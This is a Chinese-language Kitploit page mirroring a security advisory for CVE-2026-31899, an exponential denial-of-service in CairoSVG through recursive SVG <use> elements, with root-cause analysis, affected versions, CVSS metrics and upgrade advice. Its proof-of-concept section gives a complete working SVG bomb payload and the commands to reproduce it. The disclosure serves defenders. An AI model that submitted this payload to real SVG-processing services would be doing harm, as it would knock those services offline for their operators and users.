Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31899 — CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High) | Kitploit
工具/GitHubGitHub/snailsploit/cve-2026-31899
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High)

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31899:CairoSVG 中通过递归 元素放大导致的指数级拒绝服务

CVE CVSS Score Python Package CWE-400 GHSA

关键词: CVE-2026-31899, CairoSVG, 指数级 DoS, SVG 炸弹, 递归 use 元素, 拒绝服务, XML 放大, Python SVG 漏洞, CWE-400, 不受控制的资源消耗, SVG 亿万笑

目录

  • 概述
  • 漏洞详情
  • 技术分析
  • 概念验证
  • 影响
  • 修复措施
  • CVSS v3.1 指标
  • 参考
  • 联系方式

概述

CairoSVG 指数级拒绝服务 (CVE-2026-31899) — 一个 1,411 字节的 SVG 载荷通过递归 元素放大,使 CPU 无限期保持在 100% 占用。

CairoSVG(约 30 万次下载/周)是一个广泛使用的 Python SVG 转 PNG/PDF 转换器。cairosvg/defs.py 中的 use() 函数在处理 元素时没有任何深度或数量限制。通过 5 层嵌套,每层 10 个引用,一个小的 SVG 会触发 10^5 = 100,000 次渲染调用 —— 这是 SVG 版的“亿万笑”变种。

发现者: Kai Aizen — SnailSploit 发布时间: 2026 年 3 月 13 日 CVSS 分数: 7.5(高) CWE: CWE-400 — 不受控制的资源消耗 软件包: CairoSVG (PyPI) 攻击类型: 指数级拒绝服务 所需权限: 无(未认证)

漏洞详情

描述

cairosvg/defs.py 中的 use() 函数(约第 335 行)递归解析引用其他 元素的 元素。该函数没有递归深度限制,也没有总元素预算。攻击者可以构造一个小的 SVG,其中每一层引用上一层的 N 次,从 O(深度) 的输入产生 O(N^深度) 的渲染调用。

关键特征

  • 放大倍数: 从 O(N) 行输入产生 O(10^N) 次渲染调用
  • 内存 profile: 约 43MB 平坦占用——不会触发 OOM 杀进程,进程永远不会自然终止
  • CPU profile: 单核持续 100% 占用
  • 载荷大小: 1,411 字节

受影响版本

  • 受影响: 所有低于 2.9.0 的版本
  • 已修复: 2.9.0 及以上版本

技术分析

漏洞存在的根本原因:

  1. defs.py 中的 use() 函数处理每个 元素时查找其 xlink:href 目标
  2. 如果目标本身是一个包含 元素的组,则这些元素会被递归展开
  3. 没有实施深度计数器或元素预算
  4. 每一层的工作量按分支因子倍增(例如每层 10 倍)

在 5 层、分支因子为 10 的情况下:

root@kitploit:~
第 0 层: 1 个元素(根 <use>)
第 1 层: 10 个元素
第 2 层: 100 个元素
第 3 层: 1,000 个元素
第 4 层: 10,000 个元素
第 5 层: 100,000 次渲染调用

总计:从 1,411 字节输入产生 111,111 次渲染调用。

概念验证

SVG 载荷 (poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

复现方法

方法 1 — 命令行:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# 预期:timeout 在 10 秒后杀死进程(它永远无法完成)

方法 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # 5 秒后杀死
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] 确认:CPU 耗尽——进程在 5 秒内未完成")

影响

任何接受 SVG 输入并使用 CairoSVG 进行处理的服务都易受影响:

攻击面示例
缩略图生成上传 SVG → 服务器转换为 PNG
PDF 生成文档中嵌入 SVG → CairoSVG 渲染
头像/图片处理用户上传的 SVG 头像图片
报告渲染自动化报告中的 SVG 图表

单个请求携带 1.4KB 载荷将使处理线程无限期锁定,同时消耗极低内存(不会触发 OOM 杀进程来拯救你)。

修复措施

立即修复

将 CairoSVG 升级到 2.9.0 或更高版本:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

纵深防御

  • 对任何 SVG 转换端点设置处理超时
  • 对 SVG 上传实施输入大小限制
  • 考虑将 SVG 处理沙箱化到具有 CPU 时间限制的独立 Worker 中

CVSS v3.1 指标

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

时间线

日期事件
2026-03-09CVE 预留
2026-03-13安全公告发布 (GHSA-f38f-5xpm-9r7c)
2026-03-13CairoSVG 2.9.0 发布并包含修复

参考

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG on PyPI
  • CWE-400: 不受控制的资源消耗
  • 修复提交

联系方式

Kai Aizen (SnailSploit)

  • 网站: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ 免责声明: 本仓库仅用于教育和授权的安全研究目的。提供概念验证是为了帮助防御者验证其暴露风险。请负责任地使用。


📚 文档与作者

本项目的完整文章、研究方法及相关研究位于:

https://snailsploit.com/cves

由 Kai Aizen 创建——独立进攻性安全研究员。

snailsploit.com · 研究 · 框架 · GitHub · LinkedIn · ResearchGate · X/Twitter

相同的攻击,不同的基底。

下载工具
CI/CD 流水线构建过程中处理的 SVG 资源
指标值
攻击向量网络 (AV:N)
攻击复杂度低 (AC:L)
所需权限无 (PR:N)
用户交互无 (UI:N)
范围不变 (S:U)
机密性无 (C:N)
完整性无 (I:N)
可用性高 (A:H)